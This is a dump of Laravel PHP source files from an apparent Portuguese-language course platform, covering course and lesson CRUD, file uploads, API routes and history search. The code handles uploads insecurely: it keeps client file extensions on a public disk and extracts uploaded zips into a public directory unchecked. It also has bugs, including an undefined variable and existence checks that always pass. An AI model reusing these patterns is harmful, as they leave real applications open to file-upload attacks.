json_decode($escola->caracteristicas); if(Curso::find($idCurso)) { $curso = Curso::find($idCurso); // $reques->validate([ // 'titulo' => 'required|max:255', // 'descricao_curta' => 'required|max:255', // 'descricao' => 'required', // 'categoria' => 'required', // 'visibilidade' => 'required', // 'senha' => 'required', // 'preco' => 'required', // 'periodo' => 'required', // 'vagas' => 'required|integer|min:0', // ]); if($request->preco == null) { $request->preco = 0; } if($request->senha == null) { $request->senha = ''; } if($request->preco == null) { $request->preco = 0; } if($request->vagas == null) { $request->vagas = 0; } if($request->senha == null) { $request->senha = ''; } if($request->descricao == null) { $request->descricao = ''; } if(isset($request->escola_id) ? $request->escola_id == null : true) { $request->escola_id = 1; } $request->preco = str_replace(".", "", $request->preco); $request->preco = str_replace(",", ".", $request->preco); $curso->update([ 'escola_id' => $request->escola_id, //$escola->id, 'titulo' => $request->titulo, 'descricao_curta' => $request->descricao_curta, 'descricao' => $request->descricao, 'categoria' => $request->categoria, 'tipo' => $request->tipo, 'visibilidade' => $request->visibilidade, 'senha' => $request->senha, 'preco' => $request->preco, 'periodo' => $request->periodo, 'vagas' => $request->vagas, ]); if($request->capa != null) { $fileExtension = \File::extension($request->capa->getClientOriginalName()); $newFileNameCapa = md5( $request->capa->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathCapa = $request->capa->storeAs('cursos/capas', $newFileNameCapa, 'public_uploads'); if(!\Storage::disk('public_uploads')->put($pathCapa, file_get_contents($request->capa)) ) { \Session::flash('middle_popup', 'Ops! Não foi possivel enviar a capa.'); \Session::flash('popup_style', 'danger'); } else { if($curso->capa != null) { if(\Storage::disk('public_uploads')->has('cursos/capas/' . $curso->capa)) { \Storage::disk('public_uploads')->delete('cursos/capas/' . $curso->capa); } } $curso->capa = $newFileNameCapa; $curso->save(); } } return Redirect::back()->with('message', 'Curso atualizado com sucesso!'); } else { return Redirect::back()->withErrors(['Curso não encontrado!']); } } public function postExcluirCurso($idCurso) { if(Curso::find($idCurso)) { if(Curso::find($idCurso)->user_id == Auth::user()->id || strtolower(Auth::user()->permissao) == "z") { foreach (ConteudoAula::where([['curso_id', '=', $idCurso]])->get() as $key => $conteudo) { if($conteudo->tipo == 2 || $conteudo->tipo == 3 || $conteudo->tipo == 4 || $conteudo->tipo == 6) { if($conteudo->conteudo != null) { if(\Storage::disk('local')->has('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo)) { \Storage::disk('local')->delete('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo); } // // Google cloud storage // if(\Storage::disk('gcs')->has('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo)) // { // \Storage::disk('gcs')->delete('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo); // } } } $conteudo->delete(); } Aula::where([['curso_id', '=', $idCurso]])->delete(); Curso::find($idCurso)->delete(); return Redirect::back()->with('message', 'Curso excluido com sucesso!'); } else { return Redirect::back()->with('error', 'Ação não permitida!'); } } else { return Redirect::back()->with('error', 'Curso não encontrado!'); } } public function postPublicarCurso($idCurso) { if(Curso::find($idCurso)) { if(Curso::find($idCurso)->status == 0) { if(\App\ConteudoAula::where('curso_id', '=', $idCurso)->exists() == false) { return Redirect::back()->withErrors(['Você não pode publicar um curso sem nenhum conteúdo!']); } // if(Curso::find($idCurso)->preco > 0 && !WirecardAccount::where('user_id', '=', Auth::user()->id)->exists()) // { // return Redirect::back()->withErrors(['Você não pode publicar um curso pago, sem antes vincular sua conta Wirecard!']); // } Curso::find($idCurso)->update([ 'status' => 1, 'data_publicacao' => date('Y-m-d H:i:s'), ]); return Redirect::back()->with('message', 'Curso publicado com sucesso!'); } else { Curso::find($idCurso)->update(['status' => 0]); return Redirect::back()->with('message', 'Curso despublicado com sucesso!'); } } else { return Redirect::back()->withErrors(['Curso não encontrado!']); } } public function conteudoCurso($idCurso, Request $request) { $curso = Curso::with('aulas')->find($idCurso); // dd($curso); if($curso == null) { return redirect()->route('gestao.cursos'); // return redirect()->back(); } if($request->aula != null) { if($curso->aulas->filter(function($item) { return $item->id == \Request::get('aula'); })->first() == null) { return redirect()->route('gestao.curso-conteudo', ['idCurso' => $idCurso]); } } if($curso->data_publicacao != null && $curso->periodo > 0) { $curso->data_publicacao = \Carbon\Carbon::parse($curso->data_publicacao); $curso->data_expiracao = new \Carbon\Carbon($curso->data_publicacao); $curso->data_expiracao->addDays($curso->periodo); $curso->periodo_restante = \Carbon\Carbon::now()->diffInDays( $curso->data_expiracao ); if($curso->data_expiracao->gt( \Carbon\Carbon::now() ) == false) { $curso->periodo_restante *= -1; } // dd($curso->data_publicacao); // dd($curso->data_expiracao); } else { $curso->periodo_restante = 0; } $curso->matriculados = Matricula::with('user')->where('curso_id', '=', $curso->id)->whereHas('user')->count(); $curso->vagasRestante = $curso->vagas - $curso->matriculados; $categorias = Categoria::all(); return view('gestao.curso-conteudo')->with(compact('curso', 'categorias')); } public function postNovaAula($idCurso, Request $request) { // dd($request); if(strtoupper(Auth::user()->permissao) == "E") { $escola = Escola::where('user_id', '=', Auth::user()->id)->first(); } if(!isset($escola)) { $escola = Escola::find(1); } elseif($escola == null) { $escola = Escola::find(1); } // $escola->caracteristicas = json_decode($escola->caracteristicas); if($request->duracao == null) { $request->duracao = 0; } if($request->requisito == "aula") { if($request->aula_especifica == null) $request->requisito_id = 0; else $request->requisito_id = $request->aula_especifica; } else { $request->requisito_id = 0; } $newAula = Aula::create([ 'id' => Aula::where('curso_id', '=', $idCurso)->max('id') + 1, 'curso_id' => $idCurso, 'user_id' => \Auth::user()->id, 'titulo' => $request->titulo, 'descricao' => $request->descricao, 'duracao' => $request->duracao, 'requisito' => $request->requisito, 'requisito_id' => $request->requisito_id, ]); return Redirect::route('gestao.curso-conteudo', ['curso' => $idCurso, 'aula' => $newAula->id]); // return redirect()->back(); } public function editarAula($idCurso, $idAula) { if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { $aula = Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first(); return response()->json(['success'=> 'Aula encontrada.', 'aula' => json_encode($aula)]); return response()->json(['aula' => $aula]); } else { return response()->json(['error' => 'Não encontrado']); } } public function postEditarAula($idCurso, Request $request) { // dd($request); if(Aula::where([['id', '=', $request->idAula], ['curso_id', '=', $idCurso]]) != null) { if($request->duracao == null) { $request->duracao = 0; } if($request->requisito == "aula") { if($request->aula_especifica == null) $request->requisito_id = 0; else $request->requisito_id = $request->aula_especifica; } else { $request->requisito_id = 0; } Aula::where([['id', '=', $request->idAula], ['curso_id', '=', $idCurso]])->update([ 'titulo' => $request->titulo, 'descricao' => $request->descricao, 'duracao' => $request->duracao, 'requisito' => $request->requisito, 'requisito_id' => $request->requisito_id, ]); return Redirect::back()->with('message', 'Aula atualizada com sucesso!'); } else { return Redirect::back()->withErrors(['Aula não encontrada!']); } } public function reordenarAula($idCurso, $idAula, $index) { if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->update([ 'id' => 999 ]); Conteudo::where([['aula_id', '=', $idAula], ['curso_id', '=', $idCurso]])->update([ 'aula_id' => 999 ]); if(Aula::where([['id', '=', $index], ['curso_id', '=', $idCurso]])->first() != null) { Aula::where([['id', '=', $index], ['curso_id', '=', $idCurso]])->update([ 'id' => $idAula, ]); Conteudo::where([['aula_id', '=', $index], ['curso_id', '=', $idCurso]])->update([ 'aula_id' => $idAula ]); } Aula::where([['id', '=', '999'], ['curso_id', '=', $idCurso]])->update([ 'id' => $index ]); Conteudo::where([['aula_id', '=', '999'], ['curso_id', '=', $idCurso]])->update([ 'aula_id' => $index ]); return response()->json(['success'=> 'Aula reordenada com sucesso!' . $idAula . '-' . $index]); } else { return response()->json(['error' => 'Aula não encontrada!']); } } public function postDuplicarAula($idCurso, Request $request) { if(Aula::where([['id', '=', $request->idAula], ['curso_id', '=', $idCurso]])->first() != null) { $newAula = Aula::where([['id', '=', $request->idAula], ['curso_id', '=', $idCurso]])->first()->withConteudos()->replicate(); $newAula->id = Aula::where('curso_id', '=', $idCurso)->max('id') + 1; foreach ($newAula->conteudos as $key => $conteudo) { $conteudo = $conteudo->replicate(); $conteudo->id = $key + 1; $conteudo->aula_id = $newAula->id; $conteudo->save(); } unset($newAula->conteudos); $newAula->save(); \Session::flash('message', 'Aula duplicada com sucesso!'); return redirect()->route('gestao.curso-conteudo', ['idCurso' => $idCurso, 'aula' => $request->idAula]); // return Redirect::back()->with('message', 'Aula duplicada com sucesso!'); } else { return Redirect::back()->withErrors(['Aula não encontrado!']); } } public function postExcluirAula($idCurso, Request $request) { if(Aula::where([['id', '=', $request->idAula], ['curso_id', '=', $idCurso]])->first() != null) { Aula::where([['id', '=', $request->idAula], ['curso_id', '=', $idCurso]])->delete(); $conteudosAula = ConteudoAula::where([['aula_id', '=', $request->idAula], ['curso_id', '=', $idCurso]])->get(); foreach($conteudosAula as $conteudoAula) { Conteudo::where([['id', '=', $conteudoAula->conteudo_id]])->delete(); } ConteudoAula::where([['aula_id', '=', $request->idAula], ['curso_id', '=', $idCurso]])->delete(); return Redirect::back()->with('message', 'Aula excluida com sucesso!'); } else { return Redirect::back()->withErrors(['Aula não encontrada!']); } } public function aulaConteudos($idCurso, $idAula) { if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { $aula = Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first();//->withConteudos(); // $aula->conteudos = Aula::withConteudos($aula); $aula->conteudos = ConteudoAula::join('conteudos', 'conteudo_aula.conteudo_id', '=', 'conteudos.id') ->whereHas('conteudo') ->where([['curso_id', '=', $idCurso], ['aula_id', '=', $idAula]]) ->get(); // dd($aula); // return response()->json($aula->conteudos); $aula->conteudos = Conteudo::detalhado($aula->conteudos); // dd($aula); return response()->json(['success'=> 'Aula encontrada.', 'aula' => json_encode($aula, JSON_PRETTY_PRINT)]); return response()->json(['aula' => $aula]); } else { return response()->json(['error' => 'Aula não encontrada!']); } } public function postNovoConteudoCurso($idCurso, Request $request) { // dd($request); if(Aula::where([['id', '=', $request->idAula], ['curso_id', '=', $idCurso]]) != null) { if($request->descricao == null) { $request->descricao = ''; } if($request->obrigatorio == null) { $request->obrigatorio = 0; } elseif($request->obrigatorio == 'on') { $request->obrigatorio = 1; } if($request->tempo == null) { $request->tempo = 0; } if($request->apoio == null) { // $request->apoio = ''; } else { $request["apoio"] = strip_tags($request->apoio, '<a>'); } if($request->fonte == null) { // $request->fonte = ''; } else { $request["fonte"] = strip_tags($request->fonte, '<a>'); } if($request->autores == null) { // $request->autores = ''; } else { $request["autores"] = strip_tags($request->autores, '<a>'); } switch ($request->tipo) { case 1: $conteudo = $request->conteudo; break; case 2: if(isset($request->arquivoAudio)) $request->arquivo = $request->arquivoAudio; else $request->conteudo = $request->conteudoAudio; break; case 3: if(isset($request->arquivoVideo)) $request->arquivo = $request->arquivoVideo; else $request->conteudo = $request->conteudoVideo; break; case 4: if(isset($request->arquivoSlide)) $request->arquivo = $request->arquivoSlide; else $request->conteudo = $request->conteudoSlide; break; break; case 5: $conteudo = $request->conteudoTransmissao; break; case 6: if(isset($request->arquivoArquivo)) $request->arquivo = $request->arquivoArquivo; else $request->conteudo = $request->conteudoArquivo; break; case 7: if($request->conteudoDissertativaDica == null) $request->conteudoDissertativaDica = ''; if($request->conteudoDissertativaExplicacao == null) $request->conteudoDissertativaExplicacao = ''; $conteudo = json_encode(['pergunta' => $request->conteudoDissertativa, 'dica' => $request->conteudoDissertativaDica, 'explicacao' => $request->conteudoDissertativaExplicacao]); break; case 8: $conteudo = json_encode(['pergunta' => $request->conteudoQuiz, 'alternativas' => [ $request->conteudoQuizAlternativa1, $request->conteudoQuizAlternativa2, $request->conteudoQuizAlternativa3 ], 'correta' => $request->conteudoQuizAlternativaCorreta, 'dica' => $request->conteudoQuizDica, 'explicacao' => $request->conteudoQuizExplicacao]); break; case 9: $conteudo = $request->conteudoProva; break; case 10: $conteudo = $request->conteudoEntregavel; break; case 11: if(isset($request->arquivoApostila)) $request->arquivo = $request->arquivoApostila; else $request->conteudo = $request->conteudoApostila; break; default: $conteudo = $request->conteudo; break; } if($request->tipo == 2 || $request->tipo == 3 || $request->tipo == 4 || $request->tipo == 6) { if(isset($request->arquivo)) { $originalName = mb_strtolower( $request->arquivo->getClientOriginalName(), 'utf-8' ); $fileExtension = \File::extension($request->arquivo->getClientOriginalName()); $newFileNameArquivo = md5( $request->arquivo->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathArquivo = $request->arquivo->storeAs('uploads/cursos/' . $idCurso . '/arquivos', $newFileNameArquivo, 'local'); if(!\Storage::disk('local')->put($pathArquivo, file_get_contents($request->arquivo))) // if(!\Storage::disk('gcs')->put($pathArquivo, file_get_contents($request->arquivo))) // if(!\Storage::disk('gcs')->put('uploads/cursos/' . $idCurso . '/arquivos/' . $newFileNameArquivo, file_get_contents($request->arquivo))) { \Session::flash('error', 'Não foi possível fazer upload de seu conteúdo!'); } else { $conteudo = $newFileNameArquivo; } } else { $conteudo = $request->conteudo; } } else if($request->tipo == 11) { $conteudo = "index.html"; } $novo_conteudo = Conteudo::create([ 'titulo' => $request->titulo, 'descricao' => $request->descricao, 'tipo' => $request->tipo, 'conteudo' => $conteudo, 'tempo' => $request->tempo, 'apoio' => $request->apoio, 'fonte' => $request->fonte, 'autores' => $request->autores, 'status' => $request->status, ]); if($request->tipo == 11) { $zipperFile = \Zipper::make($request->arquivo); $logFiles = $zipperFile->listFiles(); // dd($logFiles); if(in_array("index.html", $logFiles) == false || in_array("index.js", $logFiles) == false) { $novo_conteudo->delete(); return redirect()->back()->withErrors("Conteúdo do zip inválido, por favor consulte as instruções de upload de apostilas!"); } $zipperFile->extractTo(public_path('uploads') . '/apostilas/' . $novo_conteudo->id . '/'); if (!\Storage::disk('public_uploads')->has('apostilas/' . $novo_conteudo->id)) { $novo_conteudo->delete(); return redirect()->back()->withErrors("Não foi possível extrair o conteúdo do zip, por favor envie sua aplicação novamente!"); } } ConteudoAula::create([ 'ordem' => ConteudoAula::where([['aula_id', '=', $request->idAula], ['curso_id', '=', $idCurso]])->max('ordem') + 1, 'curso_id' => $idCurso, 'aula_id' => $request->idAula, 'conteudo_id' => $novo_conteudo->id, 'user_id' => \Auth::user()->id, 'obrigatorio' => $request->obrigatorio, ]); return Redirect::route('gestao.curso-conteudo', ['idCurso' => $idCurso, 'aula' => $request->idAula])->with('message', 'Conteúdo criado com sucesso!'); // return Redirect::back()->with('message', 'Conteúdo criado com sucesso!'); } else { return Redirect::back()->withErrors(['Aula não encontrada!']); } } public function editarConteudoCurso($idCurso, $idAula, $idConteudo) { if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { if(Conteudo::with('conteudo_aula') ->whereHas('conteudo_aula', function ($query) use ($idCurso, $idAula) { $query->where([['curso_id', '=', $idCurso], ['aula_id', '=', $idAula]]); })->where([['id', '=', $idConteudo]])->first() != null) { $conteudo = Conteudo::with('conteudo_aula') ->whereHas('conteudo_aula', function ($query) use ($idCurso, $idAula) { $query->where([['curso_id', '=', $idCurso], ['aula_id', '=', $idAula]]); })->where([['id', '=', $idConteudo]])->first(); if($conteudo->tipo == 2 || $conteudo->tipo == 3 || $conteudo->tipo == 4 || $conteudo->tipo == 6) { // if(\Storage::disk('gcs')->has('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo)) // { // $conteudo->temArquivo = true; // } // else if(\Storage::disk('local')->has('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo)) { $conteudo->temArquivo = true; } else { $conteudo->temArquivo = false; } } return response()->json(['success'=> 'Conteudo encontrado..', 'conteudo' => json_encode($conteudo)]); } else { return response()->json(['error' => 'Conteúdo não encontrado!']); } } else { return response()->json(['error' => 'Aula não encontrada!']); } } public function postSalvarConteudoCurso($idCurso, Request $request) { // dd($request); if(Aula::where([['id', '=', $request->idAula], ['curso_id', '=', $idCurso]])->first() != null) { if(Conteudo::where([['id', '=', $request->idConteudo]])->first() != null) { $conteudoOriginal = Conteudo::where([['id', '=', $request->idConteudo]])->first(); if($request->descricao == null) { $request->descricao = ''; } if($request->obrigatorio == null) { $request->obrigatorio = 0; } elseif($request->obrigatorio == 'on') { $request->obrigatorio = 1; } if($request->tempo == null) { $request->tempo = 0; } // if($request->apoio == null) // { // $request->apoio = ''; // } // if($request->fonte == null) // { // $request->fonte = ''; // } // if($request->autores == null) // { // $request->autores = ''; // } switch ($request->tipo) { case 1: $conteudo = $request->conteudo; break; case 2: if(isset($request->arquivoAudio)) $request->arquivo = $request->arquivoAudio; else $request->conteudo = $request->conteudoAudio; break; case 3: if(isset($request->arquivoVideo)) $request->arquivo = $request->arquivoVideo; else $request->conteudo = $request->conteudoVideo; break; case 4: if(isset($request->arquivoSlide)) $request->arquivo = $request->arquivoSlide; else $request->conteudo = $request->conteudoSlide; break; break; case 5: $conteudo = $request->conteudoTransmissao; break; case 6: if(isset($request->arquivoArquivo)) $request->arquivo = $request->arquivoArquivo; else $request->conteudo = $request->conteudoArquivo; break; case 7: if($request->conteudoDissertativaDica == null) $request->conteudoDissertativaDica = ''; if($request->conteudoDissertativaExplicacao == null) $request->conteudoDissertativaExplicacao = ''; $conteudo = json_encode(['pergunta' => $request->conteudoDissertativa, 'dica' => $request->conteudoDissertativaDica, 'explicacao' => $request->conteudoDissertativaExplicacao]); break; case 8: $conteudo = json_encode(['pergunta' => $request->conteudoQuiz, 'alternativas' => [ $request->conteudoQuizAlternativa1, $request->conteudoQuizAlternativa2, $request->conteudoQuizAlternativa3 ], 'correta' => $request->conteudoQuizAlternativaCorreta, 'dica' => $request->conteudoQuizDica, 'explicacao' => $request->conteudoQuizExplicacao]); break; case 9: $conteudo = $request->conteudoProva; break; case 10: $conteudo = $request->conteudoEntregavel; break; case 11: if(isset($request->arquivoApostila)) $request->arquivo = $request->arquivoApostila; else $request->conteudo = $request->conteudoApostila; break; default: $conteudo = $request->conteudo; break; } if($request->tipo == 2 || $request->tipo == 3 || $request->tipo == 4 || $request->tipo == 6) { if(isset($request->arquivo)) { if($conteudoOriginal->conteudo != null) { if(\Storage::disk('local')->has('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudoOriginal->conteudo)) { \Storage::disk('local')->delete('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudoOriginal->conteudo); } } $originalName = mb_strtolower( $request->arquivo->getClientOriginalName(), 'utf-8' ); $fileExtension = \File::extension($request->arquivo->getClientOriginalName()); $newFileNameArquivo = md5( $request->arquivo->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathArquivo = $request->arquivo->storeAs('uploads/cursos/' . $idCurso . '/arquivos', $newFileNameArquivo, 'local'); if(!\Storage::disk('local')->put($pathArquivo, file_get_contents($request->arquivo))) // if(!\Storage::disk('gcs')->put($pathArquivo, file_get_contents($request->arquivo))) // if(!\Storage::disk('gcs')->put('uploads/cursos/' . $idCurso . '/arquivos/' . $newFileNameArquivo, file_get_contents($request->arquivo))) { \Session::flash('error', 'Não foi possível fazer upload de seu conteúdo!'); } else { $conteudo = $newFileNameArquivo; } } else { if($request->conteudo != "" && $request->conteudo != null) $conteudo = $request->conteudo; else $conteudo = $conteudoOriginal->conteudo; } } else if($request->tipo == 11) { $conteudo = "index.html"; } $conteudoOriginal->update([ 'titulo' => $request->titulo, 'descricao' => $request->descricao, 'conteudo' => $conteudo, 'obrigatorio' => $request->obrigatorio, 'tempo' => $request->tempo, 'apoio' => $request->apoio, 'fonte' => $request->fonte, 'autores' => $request->autores, ]); if($request->tipo == 11) { $tem_arquivo = isset($request->arquivoApostila) || isset($request->conteudoApostila); $tem_conteudo = isset($request->conteudoApostila) ? ($request->conteudoApostila != null && $request->conteudoApostila != '') : false; if($tem_arquivo && $tem_conteudo) { $zipperFile = \Zipper::make($request->arquivo); $logFiles = $zipperFile->listFiles(); // dd($logFiles); if(in_array("index.html", $logFiles) == false || in_array("index.js", $logFiles) == false) { $novo_conteudo->delete(); return redirect()->back()->withErrors("Conteúdo do zip inválido, por favor consulte as instruções de upload de apostilas!"); } $zipperFile->extractTo(public_path('uploads') . '/apostilas/' . $novo_conteudo->id . '/'); if (!\Storage::disk('public_uploads')->has('apostilas/' . $novo_conteudo->id)) { $novo_conteudo->delete(); return redirect()->back()->withErrors("Não foi possível extrair o conteúdo do zip, por favor envie sua aplicação novamente!"); } } } return Redirect::route('gestao.curso-conteudo', ['idCurso' => $idCurso, 'aula' => $request->idAula])->with('message', 'Conteúdo atualizado com sucesso!'); } else { return response()->json(['error' => 'Conteúdo não encontrado!']); } } else { return response()->json(['error' => 'Aula não encontrada!']); } return Redirect::back()->with('message', 'Aula atualizada com sucesso!'); } public function reordenarConteudo($idCurso, $idAula, $idConteudo, $index) { if(Conteudo::where([['id', '=', $idConteudo], ['curso_id', '=', $idCurso], ['aula_id', '=', $idAula]])->first() != null) { $ordemAtual = Conteudo::where([['id', '=', $idConteudo], ['curso_id', '=', $idCurso], ['aula_id', '=', $idAula]])->first()->ordem; if(Conteudo::where([['ordem', '=', $index], ['curso_id', '=', $idCurso], ['aula_id', '=', $idAula]])->first() != null) { Conteudo::where([['ordem', '=', $index], ['curso_id', '=', $idCurso], ['aula_id', '=', $idAula]])->update([ 'ordem' => $ordemAtual, ]); } Conteudo::where([['id', '=', $idConteudo], ['curso_id', '=', $idCurso], ['aula_id', '=', $idAula]])->update([ 'ordem' => $index ]); return response()->json(['success'=> 'Conteudo reordenado com sucesso!' . $idAula . '-' . $index]); } else { return response()->json(['error' => 'Conteudo não encontrado!']); } } public function postDuplicarConteudoCurso($idCurso, Request $request) { $exists_conteudo = Conteudo::where([['id', '=', $request->idConteudo]])->exists(); $exists_conteudo_aula = ConteudoAula::where([['conteudo_id', '=', $request->idConteudo], ['curso_id', '=', $idCurso], ['aula_id', '=', $request->idAula]])->exists(); if($exists_conteudo && $exists_conteudo_aula) { $new_conteudo = Conteudo::where([['id', '=', $request->idConteudo]])->first()->replicate(); $new_conteudo->save(); $new_conteudo_aula = ConteudoAula::where([['conteudo_id', '=', $request->idConteudo], ['curso_id', '=', $idCurso], ['aula_id', '=', $request->idAula]])->first()->replicate(); $new_conteudo_aula->conteudo_id = $new_conteudo->id; // $newConteudo->id = Conteudo::where([['aula_id', '=', $request->idAula], ['curso_id', '=', $idCurso]])->max('id') + 1; //Duplicar arquivo do conteudo se aplicavel // if($request->tipo == 2 || $request->tipo == 3 || $request->tipo == 4 || $request->tipo == 6) // { // $file = \Storage::disk('local')->get('uploads/cursos/' . $idCurso . '/arquivos/' . $newConteudo->conteudo); // $originalName = mb_strtolower( $file->getClientOriginalName(), 'utf-8' ); // $fileExtension = \File::extension($file->getClientOriginalName()); // $newFileNameArquivo = md5( $file->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; // $pathArquivo = $file->copy('uploads/cursos/' . $idCurso . '/arquivos', $newFileNameArquivo, 'local'); // if(!\Storage::disk('local')->copy($pathArquivo, file_get_contents($request->arquivo))) // { // \Session::flash('error', 'Não foi possível duplicar seu conteúdo!'); // } // else // { // $conteudo = $newFileNameArquivo; // } // } $new_conteudo_aula->save(); \Session::flash('message', 'Conteúdo duplicado com sucesso!'); return redirect()->route('gestao.curso-conteudo', ['idCurso' => $idCurso, 'aula' => $request->idAula]); // return Redirect::back()->with('message', 'Conteúdo duplicado com sucesso!'); } else { return Redirect::back()->withErrors(['Conteúdo não encontrado!']); } } public function postExcluirConteudoCurso($idCurso, Request $request) { if(ConteudoAula::where([['conteudo_id', '=', $request->idConteudo], ['curso_id', '=', $idCurso], ['aula_id', '=', $request->idAula]])->first() != null) { $conteudo = ConteudoAula::where([['conteudo_id', '=', $request->idConteudo], ['curso_id', '=', $idCurso], ['aula_id', '=', $request->idAula]])->first(); // if($conteudo->tipo == 2 || $conteudo->tipo == 3 || $conteudo->tipo == 4 || $conteudo->tipo == 6) // { // if($conteudo->conteudo != null) // { // if(\Storage::disk('local')->has('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo)) // { // \Storage::disk('local')->delete('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo); // } // } // } ConteudoAula::where([['conteudo_id', '=', $request->idConteudo], ['curso_id', '=', $idCurso], ['aula_id', '=', $request->idAula]])->delete(); \Session::flash('success', 'Conteúdo excluido com sucesso!'); return redirect()->route('gestao.curso-conteudo', ['idCurso' => $idCurso, 'aula' => $request->idAula]); // return Redirect::back()->with('message', 'Conteúdo excluido com sucesso!'); } else { return Redirect::back()->withErrors(['Conteúdo não encontrado!']); } } public function rankingProfessores() { $userLogged = Auth::user(); //PEGA USUARIO LOGADO /* RANKING GERAL */ $professoresGeral = DB::table('users') ->leftJoin('avaliacoes_instrutor', 'users.id', '=', 'avaliacoes_instrutor.instrutor_id') ->select(DB::raw('users.id as id, users.name as nome, sum(avaliacoes_instrutor.avaliacao) as pontos')) ->where('users.permissao', '=', 'P') ->groupBy('instrutor_id') ->orderBy('pontos', 'DESC') ->get(); $professorIndexGet = $professoresGeral->search(function ($user) { return $user->id === Auth::id(); }); $professorIndex = ($professorIndexGet !== false) ? $professorIndexGet + 1 : $professorIndexGet; /* */ /* RANKING DE ESCOLAS */ $escolas = DB::table('escolas') ->leftJoin('avaliacoes_escola', 'escolas.id', '=', 'avaliacoes_escola.escola_id') ->select(DB::raw('escolas.id as id, escolas.titulo as titulo, sum(avaliacoes_escola.avaliacao) as pontos')) ->groupBy('escola_id') ->orderBy('pontos', 'DESC') ->get(); $escolaUserIndexGet = $escolas->search(function ($escola) { return $escola->id === Auth::user()->escola_id; }); $escolaIndex = ($escolaUserIndexGet !== false) ? $escolaUserIndexGet + 1 : $escolaUserIndexGet; /* */ return view('gestao.ranking-professores', compact('userLogged', 'professoresGeral', 'professorIndex', 'escolas', 'escolaIndex')); } } <file_sep>/routes/api.php <?php use Illuminate\Http\Request; Route::middleware('auth:api')->get('/user', function (Request $request) { return $request->user(); }); Route::group(["prefix" => "v2", "namespace" => "API"], function () { Route::post('/login', 'LoginController@login'); Route::post('/forgot-password', 'LoginController@forgotPassword'); Route::get('/refresh', 'LoginController@refresh'); Route::get('/logout', 'LoginController@logout'); Route::group(["middleware" => "jwt.auth"], function () { Route::resource('playlists', 'PlaylistController')->except(['create', 'edit']); Route::delete('playlists/{idPlaylist}/audio/{idAudio}', 'AudioPlaylistController@destroy'); Route::put('playlists/{idPlaylist}/audio/{idAudio}', 'AudioPlaylistController@update'); Route::post('playlists/{idPlaylist}/audio/{idAudio}', 'AudioPlaylistController@store'); Route::get('/glossary/{letter?}', 'GlossaryController@show')->name('glossary'); Route::get('panel', 'PanelController@index')->name('panel'); Route::resource('users', 'UserController')->except(['create', 'edit']); Route::resource('planoaula', 'PlanoAulaController')->only('show'); Route::resource('cursos', 'CursoController')->only('show'); }); }); /* // Badges Route::prefix('badges')->group(function () { // http://localhost:8000/api/jpiaget/badges/usuario/1/19/desbloquear Route::get('usuario/{idUsuario}/{idBadge}/desbloquear', 'Badges\Api\BadgesController@desbloquearUsuarioBadge'); // http://localhost:8000/api/jpiaget/badges/19/desbloquear Route::get('{idBadge}/desbloquear', 'Badges\Api\BadgesController@desbloquearUsuarioAuthBadge'); }); // Métricas Route::prefix('metricas')->group(function () { // http://localhost:8000/api/jpiaget/metricas/nova Route::post('nova', 'Metricas\Api\MetricasController@nova'); }); // Habilidades Route::prefix('habilidades')->group(function () { // http://localhost:8000/api/jpiaget/habilidades/usuario/1/2 Route::post('usuario/{idUsuario}/{idHabilidade}', 'Habilidades\Api\HabilidadesController@UsuarioHabilidade'); // http://localhost:8000/api/jpiaget/habilidades/2 Route::post('{idHabilidade}', 'Habilidades\Api\HabilidadesController@UsuarioAuthHabilidade'); }); // Gamificação Route::prefix('gamificacao')->group(function () { Route::post('usuario/{idUsuario}/incrementar', 'GamificacaoUsuario\Api\GamificacaoUsuarioController@incrementar')->name('gamificacao.incrementar'); }); */ <file_sep>/app/Http/Controllers/Historico/Alunos/HistoricoController.php <?php namespace App\Http\Controllers\Historico\Alunos; use App\Entities\Historico\Historico; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class HistoricoController extends Controller { public function index() { $historicos = Historico::where('user_id', Auth::user()->id)->groupBy('user_id', 'created_at', 'referencia_id')->get(); return view('pages.historico.alunos.index', compact('historicos')); } public function search(Request $request) { $historicos = Historico::where('user_id', Auth::user()->id) ->with('conteudo') ->whereHas('conteudo', function ($query) use ($request) { $query->where('titulo', 'LIKE', '%' . $request->get('search') . '%'); }) ->orWhere('created_at', 'LIKE', '%' . $request->get('search') . '%') ->groupBy('user_id', 'created_at', 'referencia_id') ->get(); return view('pages.historico.alunos.index', compact('historicos')); } } <file_sep>/app/Http/Controllers/HubController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Escola; use App\Categoria; use App\Aplicacao; use App\Conteudo; use App\AvaliacaoInstrutor; use App\Matricula; use App\Metrica; class HubController extends Controller { public function index() { if(Input::get('qt') == null) $amount = 9; else $amount = Input::get('qt'); if(Input::get('ordem') == null) $ordem = "alfabetica"; //"recentes" else $ordem = Input::get('ordem'); if(Input::get('categoria') == null) $categoria = ""; elseif(Input::get('categoria') == "geral") $categoria = ""; else $categoria = Input::get('categoria'); if($categoria != null) { if(Categoria::where('titulo', '=', $categoria)->first() != null) { $categoria = Categoria::where('titulo', '=', 